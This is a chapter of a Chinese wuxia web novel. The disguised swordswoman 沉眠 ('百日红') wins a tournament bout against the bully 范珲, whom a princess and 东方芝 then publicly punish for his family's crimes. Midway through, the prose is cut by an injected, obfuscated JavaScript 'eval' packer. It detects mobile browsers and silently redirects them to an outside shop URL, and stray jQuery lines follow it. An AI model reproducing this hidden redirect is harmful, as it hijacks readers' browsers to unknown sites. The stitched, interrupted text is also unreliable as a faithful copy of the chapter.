54. 菊月之变
作品:《邪恶魔头怎么会是白月光》 其实选拔试沉眠也没放在心上。
她清楚自己的实力,也能控制自己的名次,只是偶尔会手痒,想要把默骨拿出来。
“百日红”是一位剑客。
沉眠会使的修武很多,其中用的最好的便是剑、刀。
“平分秋色”的规则很简单——一炷香内,要么逼得对方投降,要么把对方的修武打掉。
要知道,被打掉修武是要比投降还要丢人的事——堪称是奇耻大辱,所以在必败的情况下,大多数人都会选择投降。
选拔试要比预试正式很多,台子更宽阔些,宣判先生也多了一个,更别说那些忍不住围观的大夫,他们同样数量可观。
不过,比试的时候依旧人头攒动,大家的热情并不减分毫。
对于台上的修武者来说,这毕竟只是个比试,他们就算全力以赴,也不会下死手置对方于死地。
这样的行为太蠢了,每次大会都会有规定——适可而止,不可得寸进尺,但就算这样,还是有很多人触犯这条规定。
原因无他,气血上涌的时候,理智什么的都会通通抛之脑后。
比如现在…
沉眠的对手就是一个很典型的例子。
这对手长得是真的凶神恶煞,修武是一柄大斧子,在众人的嘘声之下,正对沉眠破口大骂。
“小白脸躲什么躲?”
“跟老子我正面打啊!你这废物怎么混进来的?”
“一个男子长成这样,一看就不干什么正经事!”
沉眠觉得好笑,谁规定比试不可以防守的?在这场比试之前,她已经结束了好几场,因为结束的太快,她都还没过瘾。
所以沉眠就想在这场比试上,待得时间更久点。
她不介意处于下风,被这个对手追着砍。前几场比试中因为她迅速结果比试,已经引得不少人注意,所以适当的示弱,让众人以为她力气不够,觉得她有那么点本事就可以了。
到时候总决赛也不会太突兀。
“百日红”的定位便是厚积薄发,一场比一场厉害,但终究有力不从心的时候。
那对手还在骂,宣判先生都快用上武力制止了,他还在吐着唾沫星子。台下也有着人与他对喷,说他技不如人,说他恼羞成怒。
然后他不负众望的——恼羞成怒了。
骂得越来越难以入耳,祖宗十八代都翻了出来。
在这种焦灼情况下,沉眠突然开口:“你闭嘴?”
“你爹娘怎么生出你这个玩意儿的?是不是抱错了,你狗眼睛、猪鼻子、肥头大耳我怎么就看不出一点人的样子呢?”
“你就实话说吧!你爹娘是不是个大善人?能把你这么个玩意儿养下去,给你这机会还不好啊?你怎么一点圣贤书都没读进去,就拿你的屁股在那讲话,果然是个不伦不类的玩意儿!”
沉眠语速很有节奏,咬字清晰,没有任何停顿,因此众人也听得清清楚楚,台下顿时哄笑一片,戳着那“凶神恶煞”的脊梁骨开骂。
“台上的那人,你说你是不是嫉妒了?嫉妒人家有好颜色,可我看你原本是有张脸的啊,怎么你自己把自己的脸皮败坏了啊?”
“兄台说的是,台上的那人听好了!相鼠有皮,人而无仪,人而无仪,不死何为?”
此话一出,更是得到了连连称赞。因为这出意外之事,这么一个场地,很快就堵的水泄不通,他们都直直望向台上对峙的两人。
准确来说,是“凶神恶煞”被沉眠单方面的奚落,只是他毫无还嘴之力,手上的斧子因为出了汗,“滑溜”一下差点要掉。
对于拿不准自己修武的人,众人不会吝啬自己的嘲笑之声。
“台上的玉面公子,快点把他打下去吧!”
“是啊,我真受不了了,还有人拿不准自己的修武?”
“这要是他的修武,岂不更是贻笑大方?”
修武可以有很多种,但是修武者一生中只能拥有一件修武。
“就是修武啊,这次‘平分秋色’不就规定了?只能用自己的修武比试,大家开始前不都发过誓了?发誓只会用修武,兄台,你刚才来看的吧?”
那人不好意思的应了声,微微窘迫,“是刚才来看的…”
“没关系,兄台羞个什么劲儿?每三年都有细微的变更嘛!”出声的这人极会活跃气氛,他说了几句漂亮的场面话后,又把矛头指向“凶神恶煞”,“那咱们贻笑大方吧?”
……
台上,沉眠始终不忘维持自己的定位,她正在休养生息,恢复自己的力气。她从来不是什么良善之人,只是比较以前,戾气会少了很多,做事也不会再那么极端。
但这并不代表她会忍气吞声,有仇还是得报。更何况这“凶神恶煞”也把她祖宗十八代骂了一遍。
至于这“凶神恶煞”不动手的原因——沉眠能感觉到他正在汇聚内力,他斧子威震着,蠢蠢欲动。
这个架势,看来是想要把她一击毙命。沉眠扭了扭脖子,活动一下身体,握紧了手中的剑,她的目的是要给底下的众人传达一个信息。
“百日红”恢复力气了。
…
台上的两人好像蓄势待发,怒目而视。
紧张的气息蔓延着,似乎已经有很多人猜出“凶神恶煞”的意图,他们叫嚷着让宣判先生处理。
而就宣判先生准备出手的一瞬间,“凶神恶煞”迅速运起轻功向沉眠飞冲而去。他的斧子上面还沾着红色的不明物体,像是一匹疯狂的野兽张开血盆大口。
它要把台上的那个“玉面公子”粉身碎骨。
众人都提上一口气,就算“凶神恶煞”人品低劣,他们也不得不承认这人其实很有实力。他们不禁担心起来,台上那位公子恐怕要危在旦夕。
可下一秒,就连宣判先生也失去了表情控制。
在场的人无一不是目瞪口呆。
这样的场景,沉眠只感觉似曾相识,这么多年,她遇到过数个对她使用这种招数的修武者。
这招又称“杀敌一千,自损八百”,通常用于与自己同等实力或高于自己实力的对手。
使用此招数后,可短暂压制对方的修武,趁对方内力被影响之际,就可以实现一击毙命。
“凶神恶煞”的底子很不错,他自己也足够清楚,可他对自己认知不够,就很容易骄傲自满。
他已经认为百日红就是他的手下败将。
他想要的不是两败俱伤,他就是想砍下百日红的人头。
可他不清楚,站在他对面的那个人是不能作为对手的,她是可以轻易决定他生死的总榜前二十名的修武者——沉眠。
十秒钟前——
沉眠两手握住剑柄,微微向后退一步,她都不需要睁眼,就知道“凶神恶煞”即将近在咫尺。
沉眠不禁发出一声叹息,“怎么自不量力呢?”
这句话只有那个“凶神恶煞”听见,他被沉眠猛踹了一脚后狠狠掉下擂台,滚落之处,皆带起一片尘土飞扬。
而台上稳如泰山的“玉面公子”,则是用她手中的剑,把那匹“野兽”大卸八块。力度之快,就连她手中的剑都缭绕出了火光,似乎可以把一切焚烧殆尽。
在无数颗火星子里,百日红依旧不染尘埃,白衣翩翩,她的剑被负在身后,起一阵铮铮之音。
待一阵风吹过,它又雪亮如新。
她与她的剑一起睥睨着那一地的残骸,那烟消云散的野兽。
“百日红…选拔试,六试六胜,晋为第三轮中的第一!”
宣判先生是最快找回自己声音的,他几乎是抖着手在簿子上划了一条线。而后,他看着台上的沉眠,连声惊叹:“后生可畏,后生可畏啊!”
宣判先生之后,台下的人也接二连三的躁动起来。
“他刚刚直接把修武砍烂了!”
“我没看错吧?还好修武大会在我们江陵,我终于亲眼目睹,我可太喜欢天才了!”
“这位百公子今年多大?”
“二十出头,特别年轻,我可越来越期待后面的比试了!”
“看完这场,等下一轮,下一轮天才更多,我保证你叫得出名字!”
这人话一出口,纷纷得到七嘴八舌的响应。
“是啊,下一轮神仙打架吧?有近些年来声名鹊起的六氏兄弟,单流星——方鹭,还有青山城少城主何源…”
“不止不止,下下轮还有霍关风,使软剑的那个桃李,桃李也是初出茅庐,惊艳四座啊!”
“怎么可以漏了顾小姐,她那个棒法,足以让我眼花缭乱了!”
这一大串名字里,沉眠只认识几个。
她本想默默离开,大家却又把目光放在了她身上。
沉眠差点握不住剑,也差点要被淹没在这沸腾的人群。
“百公子也是一鸣惊人啊!”
“百公子一定可以挺到总决赛,平分那秋色!”
“百公子,可以去我家吃饭吗?”
“百剑客,我们友好切磋一下剑法吧?我好想进步啊!”
沉眠:“……”
沉眠有点尴尬,她第一次感觉要硬着头皮才能够挤出一句话:“多谢各位抬爱,在下告辞!”
说罢,沉眠连忙落荒而逃。
而在她后面,则是引起了一小范围的追逐。他们口中喊着“百日红”,“百公子”,“百剑客”…
更有甚者——是那些活泼的姑娘们,她们喊的则是要狂野许多。不过修武者一向推崇大胆追爱,不在乎那繁文缛节,只在乎是否你情我愿,所以就算这般也是无伤大雅。
到后来,这件事还成为一桩美谈,叫做“百花齐红”。
那些姑娘们是花,那位百公子也是花。这件事被记载在江陵城趣闻录内,到后世逐渐成为一个典故。
*
当下,是那个“凶神恶煞”被人群冷嘲热讽。
本来大家都懒得再费口水,可他偏偏就是不服气,偏偏喜欢逞口舌之快,这不一下就把大家伙给惹恼了。
你一言我一语,那“凶神恶煞”纵是有十张嘴也驳不过来。
“我要是你,寻一个井我就跳下去!”
“修武都没了,还放屁呢?这一切都是你咎由自取,你可怨不得旁人,别等下去报复无辜之人!去到处作恶!”
“他这样子一看就会,话本子里不都写了吗?”
“盼了三年才等到,还让我撞上晦气,一定是我出门前没拜拜供奉的那几位老人家,是我不是,我回家就拜,下一个三年绝不能遇见这种糟心事!”
“是啊,就是这个理,不过他这种人怎么拜都不得行,还很有可能冒犯老人家呢!”
“听到没,别去瞎拜?”
一人恶狠狠地向“凶神恶煞”警告道。
“凶神恶煞”也是有名字的,他叫范珲。心比天高,有那么些天赋,又出生一个世家,所以他觉得理所当然,只有世家贵族或那些响当当的门派,他才能入眼。
他是江陵城人,做惯了欺男霸女的恶事,渐渐的,讨伐人群中加入了那些布衣百姓的声音。
范珲心心念念着要以后寻仇,他把目光在人群里转了又转,发誓要把他们每一个人挫骨扬灰。
忽然,有一个人说道:“那是郡主吗?”
“还有东方公子!”另一个人把那两道人影都看清,立马欣喜若狂。
“是郡主,是东方公子!他们要帮我们讨回公道,要将这个大恶人绳之以法!”
范珲原本不信,可他定睛一看后,蓦地琢磨出几分恐慌。他不是个大蠢人,知道自己还需要家族给他兜底。
他的家族在江南这一带确实赫赫有名,也算是一条油水浑厚的地皮蛇。那在皇家面前呢?在武林魁首——正武门面前呢?
范珲在绝对的压迫面前,忽然发现他的渺小之处。他们范家做下这么多恶事,放在以前轻描淡写就可以揭过去,可现在呢?范家后面有谁可以兜底,有谁敢给他们兜底。
他之前能够肆无忌惮,仰仗的不过就是范家。
范家一倒台,他这个半废人能够掀起什么风浪?
放眼整个武林,谁敢去与正武门作对?尤其是东方芝,明眼人都知道,他即将要成为名副其实的魁首。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16867936|185317||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
近些日子,他又性情大变,听闻手段十分干脆残忍——他铲除异己,斩草除根,在前些日子,正武门上上下下彻底归他控制,那天,几乎是血流成河。
江湖人称菊月之变,几乎所有门派都受到影响。
而就在这场变故后,各大门派的掌权人,纷纷上书正武门门主——东方信,让他把魁首之位拱手相让。
这其实是多此一举,东方芝明明可以直接坐上那个位置。但他没有,他就是要逼迫东方信,带给他无穷无尽的心理折磨。
“菊月之变”至今依然有许多人议论纷纷,但东方芝的风评却没受多大影响,还有人说他手段残忍仅仅只是个传闻。
可范珲知道这不仅仅只是传闻。他曾亲眼目睹过,可东方芝毫不在意被人发现,或者说,他不在乎被别人发现。
谁敢说出去,谁有证据?谁又可以说完这些后全身而退?
至少范珲不可以,他的范家也不可以。
朝廷和武盟几乎把控着整个北原,范珲冷汗涔涔,他不想落到东方芝的手里,可他有很大几率会落在东方芝手里。
他是北原的勋贵子弟,准确来说,他现在是鱼肉百姓的罪魁祸首之一,东方芝是有绝对资格处置他的。
范珲脑中一片空白,那个被他视为噩梦的画面只要一闪而过,就会被他立刻挥出脑海。
他宁愿被燕惜荣带走,去被人扔菜叶上断头台,也不想那样的死去。
“郡主,罪人范氏,范珲认罪!”范珲哭哭啼啼地爬了过去,想要抱住燕惜荣的腿。
“郡主,我——任由朝廷处置啊!请您从轻发落……”
燕惜荣听罢,横眉一竖,随即登上高台的座位。
“不用行礼,大家都免了吧。”
“不耽误大家看下一轮比试,我很快结束。”
“郡主!东方公子,你们一定要为我们主持公道!”
那个百姓恨极了范珲,纵然燕惜荣免了礼,他还是执意要跪,执意要磕头,一些百姓随后也跟他长跪不起。
“范家,是靠什么发家的?”
东方芝扶起那位领头的百姓,居高临下地撇了范珲一眼,而后他步步靠近,直至踩上范珲的脊背。
这脊背从来没有一刻真正意义上挺直过,范珲向来是屈着腰,因为习惯了声色犬马,习惯了有人伺候他。
既然只是个摆设,那不如直接踩碎。东方芝这么想着,便也这么做了。
…
范珲撕心裂肺的嚎叫声只持续几秒,就很快又被东方芝扇了一巴掌,范珲顿时就不动了,整个人都陷入了未知的恐惧里。随后,东方芝直起身,他慢条斯理地擦着手,面色平静的好像无事发生。
只看着他那张脸,没人会想到他才刚刚踩断范珲的脊背。
“东方少主,求您,放过我吧…”范珲细若游丝。
他知道,就算自己现在命不久矣,东方芝也可以用东西把他的命吊着,让他求生不得,求死不能。
上次,就是这样…
范珲精神恍惚,集中精力才抓住一个点,他又连忙说道:“我不该鱼肉百姓,我范家能够发家,全部都倚杖百姓,东方少主,您就地处死我吧?”
“求求东方少主,就地处死我吧!”范珲哀求着,脸上糊满鼻涕,他看似知罪愧疚,可他那双眼睛里又无一丝悔过之意。
东方芝缓缓摇头,因为浮现笑意,他还露出一个酒窝,晃人心神。他用上内力阻断,笑意也越来越浅,只有范珲可以听见他的声音。
“在台上,你骂的是谁?”
“你想要杀她?”
“求死?”
“不——”东方芝忽然一顿,笑意已然不见。
只有令范珲胆颤心惊的寒意,在那双眼睛里全然暴露出来,他说:“不,现在我不会让你死。”
“你就为你做的这一切付出代价?”东方芝问着,“好不好?”
范珲一个“不”字都不敢说出来,他吸了下鼻子,怯懦道:“好…”
“那还不赶快磕头?”东方芝丢下这句话后,便转身走向高台之座。
范珲立刻如释重负,可一会后,他就感觉到了一种前所未有的压力,正在迫使他重复往地上磕头。
这股力量的来源正是燕惜荣。
她同样是修武者,在高手如云的修武江湖,同样也是出类拔萃。
这点内力不算什么,却可以让范珲低下他的头颅,向他曾经欺压过的百姓磕头求死,他求着他们,“让我死吧……”
“不行,你得生不如死的活下去!”一位妇人牵着那位领头的百姓,冷眼相看。
她仅仅只有十岁的女儿,就是被范家抢了去,短短几天就被送入乱葬岗。
她不被允许过去,她连自己女儿的尸体都找不回来。
她如何不恨,怎能不恨?
“这种东西,绝不能让他就这么死了!”
“是啊,范家作恶多端,挥霍着祖辈的荣光,在江陵城无法无天!”
越来越多的声音响起,燕惜荣看着,不禁眼眶微红。
江南一带离南域很近,与皇城却是很远很远。范家能这么高调,背地里少不了南域的助力,或者说江南这一带的官员早有萎靡之势,这种事态下,竟没有一点风言风语流入皇城。
直到被林影与阿肆发现。
“郡主?”东方芝落了座,给了燕惜荣一个眼神,“比试快要开始。”
“嗯。”燕惜荣应了声,她示意百姓们停下来。
“江陵城不会只有一个范家,全天下也不会只有一个范家,据我所知,芙蓉城也有类似情况,官兵不作为,普通百姓被高门大户压榨,对此情况,朝廷感到惭愧,我受命而来,搜集罪证,令范家的人绳之以法,现唯有范珲还未处置,朝廷不会只仅仅解决这一个范家。”
“我代朝廷保证,我作为北原郡主燕惜荣保证——我们会找到所有的‘范家’,严惩不贷!”
燕惜荣的话掷地有声,她眼中有因为坚定而闪烁的光芒。
*
杀敌一千,自损八百。——《孙子兵法》

